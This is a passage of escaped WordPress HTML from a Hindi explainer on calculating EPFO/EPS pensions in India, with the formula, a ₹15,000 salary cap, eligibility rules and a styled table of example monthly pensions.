\u092f\u094b\u0917\u094d\u092f \u0938\u0948\u0932\u0930\u0940 \u20b915,000 \u092e\u093e\u0928\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p><strong>\u0909\u0926\u093e\u0939\u0930\u0923<\/strong><strong>:<\/strong><br>\u0905\u0917\u0930 \u0915\u093f\u0938\u0940 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0948\u0932\u0930\u0940 \u20b915,000 \u0939\u0948 \u0914\u0930 \u0909\u0938\u0928\u0947 30 \u0938\u093e\u0932 \u0915\u093e\u092e \u0915\u093f\u092f\u093e \u0939\u0948, \u0924\u094b \u0909\u0938\u0915\u0940 \u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0939\u094b\u0917\u0940:<\/p>\n\n\n\n<p>(15000 \u00d7 30) \u00f7 70 = \u20b96429<\/p>\n\n\n\n<p>\u0907\u0938 \u0924\u0930\u0939 \u0938\u0947 \u0909\u0938 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u0932\u0917\u092d\u0917 \u20b96429 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0947\u0917\u0940\u0964<\/p>\n\n\n\n<p><strong>\u0915\u0941\u091b<\/strong><strong> <\/strong><strong>\u091c\u0930\u0942\u0930\u0940<\/strong><strong> <\/strong><strong>\u092c\u093e\u0924\u0947\u0902<\/strong><strong>:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>10 \u0938\u093e\u0932 \u0938\u0947 \u0915\u092e \u0928\u094c\u0915\u0930\u0940 \u0915\u0930\u0928\u0947 \u092a\u0930 \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d \u0928\u0939\u0940\u0902 \u092e\u093f\u0932\u0924\u093e\u0964<\/li>\n\n\n\n<li>58 \u0938\u093e\u0932 \u0915\u0940 \u0909\u092e\u094d\u0930 \u092a\u0942\u0930\u0940 \u0939\u094b\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0928\u0940 \u0936\u0941\u0930\u0942 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0905\u0917\u0930 \u0915\u094b\u0908 50 \u0938\u093e\u0932 \u0915\u0940 \u0909\u092e\u094d\u0930 \u092e\u0947\u0902 \u092a\u0947\u0902\u0936\u0928 \u0932\u0947\u0928\u093e \u091a\u093e\u0939\u0924\u093e \u0939\u0948, \u0924\u094b \u0909\u0938\u0947 \u0915\u092e \u0930\u093e\u0936\u093f \u092e\u093f\u0932\u0947\u0917\u0940 (\u0930\u094b\u0915\u0921\u093c \u0915\u091f\u094c\u0924\u0940 \u0915\u0947 \u0938\u093e\u0925)\u0964<\/li>\n\n\n\n<li>\u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u091c\u0940\u0935\u0928\u092d\u0930 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0928\u093f\u0927\u0928 \u0915\u0947 \u092c\u093e\u0926 \u0909\u0938\u0915\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u092b\u0948\u092e\u093f\u0932\u0940 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<style>\n  body {\n    font-family: 'Segoe UI', sans-serif;\n    background: #f8f9fa;\n    padding: 40px 8px;\n    color: #333;\n  }\n\n  h2 {\n    text-align: center;\n    color: #a82d4e;\n  }\n\n  .important-points {\n    max-width: 800px;\n    margin: 0 auto 30px;\n  }\n\n  .important-points ul {\n    list-style: disc;\n    padding-left: 20px;\n  }\n\n  .important-points li {\n    margin-bottom: 10px;\n    font-size: 1rem;\n  }\n\n  .table-container {\n    max-width: 900px;\n    margin: 0 auto;\n    overflow-x: auto;\n    border-radius: 12px;\n    box-shadow: 0 2px 10px rgba(0,0,0,0.08);\n    background: #fff;\n  }\n\n  table {\n    width: 100%;\n    border-collapse: collapse;\n    min-width: 600px;\n    background: #fff;\n  }\n\n  th, td {\n    padding: 16px 12px;\n    text-align: center;\n  }\n\n  th {\n    background-color: #a82d4e;\n    color: #fff;\n    font-size: 1.1rem;\n    white-space: nowrap;\n  }\n\n  tr:nth-child(even) {\n    background-color: #fdf2f5;\n  }\n\n  td {\n    font-size: 1rem;\n    white-space: nowrap;\n  }\n\n  .highlight {\n    color: #a82d4e;\n    font-weight: bold;\n    font-size: 1.1rem;\n  }\n\n  \/* Responsive Styles *\/\n  @media (max-width: 700px) {\n    .table-container {\n      border-radius: 6px;\n      box-shadow: 0 1px 5px rgba(0,0,0,0.07);\n    }\n    table {\n      min-width: 420px;\n    }\n    th, td {\n      padding: 12px 6px;\n      font-size: 0.97rem;\n    }\n  }\n  @media (max-width: 480px) {\n    body {\n      padding: 18px 2px;\n    }\n    .table-container {\n      border-radius: 0;\n      box-shadow: none;\n      margin: 0;\n    }\n    table {\n      min-width: 380px;\n    }\n    th, td {\n      padding: 8px 2px;\n      font-size: 0.92rem;\n    }\n    .highlight {\n      font-size: 1rem;\n    }\n  }\n<\/style>\n\n<div class=\"table-container\">\n  <table>\n    <thead>\n      <tr>\n        <th>\u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f<br>(\u0915\u093e\u092e \u0915\u0947 \u0938\u093e\u0932)<\/th>\n        <th>\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f<br>\u0938\u0948\u0932\u0930\u0940 (\u20b9)<\/th>\n        <th>\u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 (\u20b9)<\/th>\n      <\/tr>\n    <\/thead>\n    <tbody>\n      <tr>\n        <td>10 \u0938\u093e\u0932<\/td>\n        <td>15,000<\/td>\n        <td>(15000 \u00d7 10) \u00f7 70 = <span class=\"highlight\">\u20b92143<\/span><\/td>\n      <\/tr>\n      <tr>\n        <td>20 \u0938\u093e\u0932<\/td>\n        <td>15,000<\/td>\n        <td>(15000 \u00d7 20) \u00f7 70 = <span class=\"highlight\">\u20b94286<\/span><\/td>\n      <\/tr>\n      <tr>\n        <td>25 \u0938\u093e\u0932<\/td>\n        <td>15,000<\/td>\n        <td>(15000 \u00d7 25) \u00f7 70 = <span class=\"highlight\">\u20b95357<\/span><\/td>\n      <\/tr>\n      <tr>\n        <td>30 \u0938\u093e\u0932<\/td>\n        <td>15,000<\/td>\n        <td>(15000 \u00d7 30) \u00f7 70 = <span class=\"highlight\">\u20b96429<\/span><\/td>\n      <\/tr>\n      <tr>\n        <td>35 \u0938\u093e\u0932<\/td>\n        <td>15,000<\/td>\n        <td>(15000 \u00d7 35) \u00f7 70 = <span class=\"highlight\">\u20b97500<\/span><\/td>\n      <\/tr>\n    <\/tbody>\n  <\/table>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<p><strong>\u0927\u094d\u092f\u093e\u0928<\/strong><strong> <\/strong><strong>\u0926\u0947\u0902<\/strong><strong>:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092f\u0939\u093e\u0901 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0948\u0932\u0930\u0940 \u20b915,000 \u092e\u093e\u0928\u0940 \u0917\u0908 \u0939\u0948, \u091c\u094b \u0905\u0927\u093f\u0915\u0924\u092e \u0938\u0940\u092e\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0905\u0917\u0930 \u0906\u092a\u0915\u0940 \u0938\u0948\u0932\u0930\u0940 \u0907\u0938\u0938\u0947 \u0915\u092e \u0939\u0948, \u0924\u094b \u092a\u0947\u0902\u0936\u0928 \u092d\u0940 \u0909\u0938\u0940 \u0939\u093f\u0938\u093e\u092c \u0938\u0947 \u0915\u092e \u0939\u094b\u0917\u0940\u0964<\/li>\n\n\n\n<li>\u0938\u0947\u0935\u093e \u0915\u0947 \u0938\u093e\u0932 \u091c\u093f\u0924\u0928\u0947 \u091c\u093c\u094d\u092f\u093e\u0926\u093e \u0939\u094b\u0902\u0917\u0947, \u092a\u0947\u0902\u0936\u0928 \u0909\u0924\u0928\u0940 \u0939\u0940 \u091c\u093c\u094d\u092f\u093e\u0926\u093e \u092e\u093f\u0932\u0947\u0917\u0940\u0964<\/li>\n<\/ul>\n\n\n\n<p><br>EPFO \u092a\u0947\u0902\u0936\u0928 \u0938\u0947 \u092c\u0941\u0922\u093c\u093e\u092a\u0947 \u092e\u0947\u0902 \u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u092e\u093f\u0932\u0924\u0940 \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u0906\u092a\u0915\u0940 \u0938\u0948\u0932\u0930\u0940 \u0914\u0930 \u0928\u094c\u0915\u0930\u0940 \u0915\u0947 \u0938\u093e\u0932\u094b\u0902 \u092a\u0930 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE_EPS_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%B0%E0%A5%87_%E0%A4%AE%E0%A5%87%E0%A4%82\"><\/span><strong>\u092a\u0947\u0902\u0936\u0928 <\/strong><strong>\u092f\u094b\u091c\u0928\u093e (EPS) <\/strong><strong>\u0915\u0947 <\/strong><strong>\u092c\u093e\u0930\u0947 <\/strong><strong>\u092e\u0947\u0902:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0908\u092a\u0940\u090f\u092b \u0915\u0947 \u0924\u0939\u0924 \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u092e\u0941\u0916\u094d\u092f \u0939\u093f\u0938\u094d\u0938\u093e <strong>\u0908\u092a\u0940\u090f\u0938<\/strong> (Employees&#8217; Pension Scheme) \u0926\u094d\u0935\u093e\u0930\u093e \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 EPS \u092f\u094b\u091c\u0928\u093e \u092e\u0947\u0902 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u093e \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0905\u0932\u0917-\u0905\u0932\u0917 \u0939\u094b\u0924\u093e \u0939\u0948:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong>:<\/strong> \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0938\u0940\u0927\u0947 \u0909\u0928\u0915\u0947 \u0908\u092a\u0940\u090f\u092b \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong>:<\/strong> \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0939\u0930 \u092e\u093e\u0939 12% \u0915\u0947 \u092f\u094b\u0917\u0926\u093e\u0928 \u092e\u0947\u0902 \u0938\u0947 8.33% EPS \u092e\u0947\u0902 \u0921\u093e\u0932\u0924\u093e \u0939\u0948, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u092a\u0947\u0902\u0936\u0928 \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%80_%E0%A4%97%E0%A4%A3%E0%A4%A8%E0%A4%BE_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A5%80_%E0%A4%9C%E0%A4%BE%E0%A4%A4%E0%A5%80_%E0%A4%B9%E0%A5%88_EPF_Pension_Calculation\"><\/span><strong>\u092a\u0947\u0902\u0936\u0928 <\/strong><strong>\u0915\u0940 <\/strong><strong>\u0917\u0923\u0928\u093e <\/strong><strong>\u0915\u0948\u0938\u0947 <\/strong><strong>\u0915\u0940 <\/strong><strong>\u091c\u093e\u0924\u0940 <\/strong><strong>\u0939\u0948 (EPF Pension Calculation)?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPS \u092e\u0947\u0902 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f 10 \u0938\u093e\u0932 \u092c\u093e\u0926 <strong>\u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong>, <strong>\u0938\u0948\u0932\u0930\u0940<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0906\u0927\u093e\u0930<\/strong><strong> <\/strong><strong>\u092a\u0930<\/strong>, \u0914\u0930 <strong>\u0938\u0947\u0935\u093e<\/strong><strong> <\/strong><strong>\u0905\u0935\u0927\u093f<\/strong> \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0917\u0923\u0928\u093e \u0915\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u0935\u0947\u0924\u0928<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> 8.33%:<\/strong> \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094d\u0935\u093e\u0930\u093e \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0935\u0947\u0924\u0928 \u0915\u093e 8.33% EPS \u092e\u0947\u0902 \u091c\u092e\u093e \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940<\/strong><strong> <\/strong><strong>\u0915\u0940<\/strong><strong> <\/strong><strong>\u0938\u0947\u0935\u093e<\/strong><strong> <\/strong><strong>\u0905\u0935\u0927\u093f<\/strong><strong>:<\/strong> \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u0938\u0940\u0927\u0947 \u0924\u094c\u0930 \u092a\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f (\u0915\u093f\u0924\u0928\u0947 \u0938\u093e\u0932 \u0915\u093e\u092e \u0915\u093f\u092f\u093e \u0939\u0948) \u0914\u0930 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u0938\u0947 \u091c\u0941\u0921\u093c\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0914\u0938\u0924<\/strong><strong> <\/strong><strong>\u0935\u0947\u0924\u0928<\/strong><strong>:<\/strong> \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0917\u0923\u0928\u093e \u0915\u0947 \u0932\u093f\u090f \u0914\u0938\u0924 \u0935\u0947\u0924\u0928 \u0915\u0940 \u0917\u0923\u0928\u093e \u0915\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0905\u0902\u0924\u093f\u092e 60 \u092e\u0939\u0940\u0928\u0947 \u0915\u0947 \u0935\u0947\u0924\u0928 \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPF_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%97%E0%A4%A3%E0%A4%A8%E0%A4%BE_%E0%A4%B8%E0%A5%82%E0%A4%A4%E0%A5%8D%E0%A4%B0_EPF_Pension_Calculation_Formula\"><\/span><strong>EPF \u092a\u0947\u0902\u0936\u0928 \u0917\u0923\u0928\u093e \u0938\u0942\u0924\u094d\u0930 (EPF Pension Calculation Formula):<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPF_Pension_Calculation_Formula_In_Hindi\"><\/span><em><strong>EPF Pension Calculation Formula In Hindi<\/strong>:<\/em><span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>\u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f = (\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0935\u0947\u0924\u0928 \u00d7 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0947\u0935\u093e) \/ 70<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPF_Pension_Calculation_Formula_In_English\"><\/span><strong><em>EPF Pension Calculation Formula In English:<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>Monthly pension amount = (Pensionable Salary x Pensionable Service) \/ 70<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AF%E0%A4%B9%E0%A4%BE%E0%A4%81\"><\/span>\u092f\u0939\u093e\u0901:<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u094d\u092f<\/strong><strong> <\/strong><strong>\u0935\u0947\u0924\u0928<\/strong><strong>:<\/strong> \u092f\u0939 \u0938\u0947\u0935\u093e\u0928\u093f\u0935\u0943\u0924\u094d\u0924\u093f \u0938\u0947 \u0920\u0940\u0915 \u092a\u0939\u0932\u0947 \u0915\u0947 \u092a\u093f\u091b\u0932\u0947 60 \u092e\u0939\u0940\u0928\u094b\u0902 (5 \u0935\u0930\u094d\u0937) \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0914\u0938\u0924 \u092e\u093e\u0938\u093f\u0915 \u0935\u0947\u0924\u0928 \u0939\u0948\u0964 \u092f\u0926\u093f \u0907\u0928 60 \u092e\u0939\u0940\u0928\u094b\u0902 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0915\u094b\u0908 \u0917\u0948\u0930-\u0905\u0902\u0936\u0926\u093e\u092f\u0940 \u0905\u0935\u0927\u093f \u0925\u0940, \u0924\u094b \u0909\u0928 \u0926\u093f\u0928\u094b\u0902 \u0915\u094b \u091b\u094b\u0921\u093c\u0915\u0930, \u0905\u0902\u0936\u0926\u093e\u0928 \u0905\u0935\u0927\u093f \u0915\u0947 \u0935\u0947\u0924\u0928 \u0915\u093e \u0914\u0938\u0924 \u092a\u0942\u0930\u0947 60 \u092e\u0939\u0940\u0928\u094b\u0902 \u092a\u0930 \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0917\u0923\u0928\u093e \u0915\u0947 \u0932\u093f\u090f \u0935\u0947\u0924\u0928 \u0915\u0940 \u0905\u0927\u093f\u0915\u0924\u092e \u0938\u0940\u092e\u093e \u20b915,000 \u092a\u094d\u0930\u0924\u093f \u092e\u093e\u0939 \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0947\u0935\u093e:<\/strong> \u0908\u092a\u0940\u090f\u092b (EPF) \u0914\u0930 \u0908\u092a\u0940\u090f\u0938 (EPS) \u092e\u0947\u0902 \u0906\u092a\u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e \u0915\u093f\u090f \u0917\u090f \u0915\u0941\u0932 \u0935\u0930\u094d\u0937\u094b\u0902 \u0915\u0940 \u0938\u0947\u0935\u093e \u0939\u0948\u0964 \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u0932\u093f\u090f \u092a\u093e\u0924\u094d\u0930 \u0939\u094b\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0928\u094d\u092f\u0942\u0928\u0924\u092e 10 \u0935\u0930\u094d\u0937 \u0915\u0940 \u0938\u0947\u0935\u093e \u0906\u0935\u0936\u094d\u092f\u0915 \u0939\u0948\u0964 \u092f\u0926\u093f \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f \u092e\u0947\u0902 \u0935\u0930\u094d\u0937 \u0915\u093e \u0915\u094b\u0908 \u092d\u093e\u0917 \u0936\u093e\u092e\u093f\u0932 \u0939\u0948, \u0924\u094b \u092a\u0947\u0902\u0936\u0928 \u0917\u0923\u0928\u093e \u0909\u0926\u094d\u0926\u0947\u0936\u094d\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0907\u0938\u0947 \u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u0905\u0917\u0932\u0947 \u092a\u0942\u0930\u0947 \u0935\u0930\u094d\u0937 \u0924\u0915 \u092a\u0942\u0930\u094d\u0923\u093e\u0902\u0915\u093f\u0924 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 20 \u0935\u0930\u094d\u0937 \u092f\u093e \u0909\u0938\u0938\u0947 \u0905\u0927\u093f\u0915 \u0915\u0940 \u0938\u0947\u0935\u093e \u0915\u0947 \u0932\u093f\u090f, \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0947\u0935\u093e \u092e\u0947\u0902 \u0926\u094b \u0935\u0930\u094d\u0937 \u0915\u093e \u092c\u094b\u0928\u0938 \u091c\u094b\u0921\u093c\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%A8_%E0%A4%A6%E0%A5%87%E0%A4%A8%E0%A5%87_%E0%A4%AF%E0%A5%8B%E0%A4%97%E0%A5%8D%E0%A4%AF_%E0%A4%AE%E0%A4%B9%E0%A4%A4%E0%A5%8D%E0%A4%B5%E0%A4%AA%E0%A5%82%E0%A4%B0%E0%A5%8D%E0%A4%A3_%E0%A4%AC%E0%A4%BE%E0%A4%A4%E0%A5%87%E0%A4%82\"><\/span><strong>\u0927\u094d\u092f\u093e\u0928 \u0926\u0947\u0928\u0947 \u092f\u094b\u0917\u094d\u092f \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u092c\u093e\u0924\u0947\u0902:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0935\u0947\u0924\u0928<\/strong><strong> <\/strong><strong>\u0938\u0940\u092e\u093e<\/strong><strong>:<\/strong> \u0935\u0930\u094d\u0924\u092e\u093e\u0928 \u092e\u0947\u0902, \u0917\u0923\u0928\u093e \u0915\u0947 \u0932\u093f\u090f \u092e\u093e\u0928\u0940 \u091c\u093e\u0928\u0947 \u0935\u093e\u0932\u0940 \u0905\u0927\u093f\u0915\u0924\u092e \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0935\u0947\u0924\u0928 \u20b915,000 \u092a\u094d\u0930\u0924\u093f \u092e\u093e\u0939 \u0939\u0948\u0964 \u0907\u0938\u0915\u093e \u092e\u0924\u0932\u092c \u0939\u0948 \u0915\u093f \u092f\u0926\u093f \u0906\u092a\u0915\u093e \u0935\u093e\u0938\u094d\u0924\u0935\u093f\u0915 \u0914\u0938\u0924 \u0935\u0947\u0924\u0928 \u0905\u0927\u093f\u0915 \u0939\u0948, \u0924\u094b \u092d\u0940 \u0917\u0923\u0928\u093e \u0907\u0938 \u0938\u0940\u092e\u093e \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u0915\u0940 \u091c\u093e\u090f\u0917\u0940\u0964<\/li>\n\n\n\n<li><strong>\u0908\u092a\u0940\u090f\u0938<\/strong><strong> <\/strong><strong>\u092e\u0947\u0902<\/strong><strong> <\/strong><strong>\u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong>:<\/strong> \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u0947 \u0908\u092a\u0940\u090f\u092b \u092e\u0947\u0902 \u0915\u0941\u0932 12% \u092f\u094b\u0917\u0926\u093e\u0928 \u092e\u0947\u0902 \u0938\u0947, 8.33% \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e (\u0908\u092a\u0940\u090f\u0938) \u092e\u0947\u0902 \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0938\u0930\u0915\u093e\u0930\u0940<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong>:<\/strong> \u0915\u0947\u0902\u0926\u094d\u0930 \u0938\u0930\u0915\u093e\u0930 \u092d\u0940 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0935\u0947\u0924\u0928 \u0915\u093e 1.16% \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u092a\u0947\u0902\u0936\u0928 \u0928\u093f\u0927\u093f \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u0939\u093e\u0932\u093e\u0902\u0915\u093f, \u092f\u0939 \u092f\u094b\u0917\u0926\u093e\u0928 \u092d\u0940 \u0905\u0927\u093f\u0915\u0924\u092e \u20b915,000 \u092a\u094d\u0930\u0924\u093f \u092e\u093e\u0939 \u0915\u0947 \u0935\u0947\u0924\u0928 \u0924\u0915 \u0938\u0940\u092e\u093f\u0924 \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0932\u093f\u090f<\/strong><strong> <\/strong><strong>\u092a\u093e\u0924\u094d\u0930\u0924\u093e<\/strong><strong>:<\/strong> \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u0932\u093f\u090f \u092a\u093e\u0924\u094d\u0930 \u0939\u094b\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f, \u0906\u092a\u0915\u0940 \u0906\u092f\u0941 \u0915\u092e \u0938\u0947 \u0915\u092e 58 \u0935\u0930\u094d\u0937 \u0939\u094b\u0928\u0940 \u091a\u093e\u0939\u093f\u090f \u0914\u0930 \u0906\u092a\u0928\u0947 \u0928\u094d\u092f\u0942\u0928\u0924\u092e 10 \u0935\u0930\u094d\u0937 \u0915\u0940 \u0938\u0947\u0935\u093e \u092a\u0942\u0930\u0940 \u0915\u0940 \u0939\u094b\u0928\u0940 \u091a\u093e\u0939\u093f\u090f\u0964 50 \u0935\u0930\u094d\u0937 \u0915\u0940 \u0906\u092f\u0941 \u0938\u0947 \u092a\u0939\u0932\u0947 \u092a\u0947\u0902\u0936\u0928 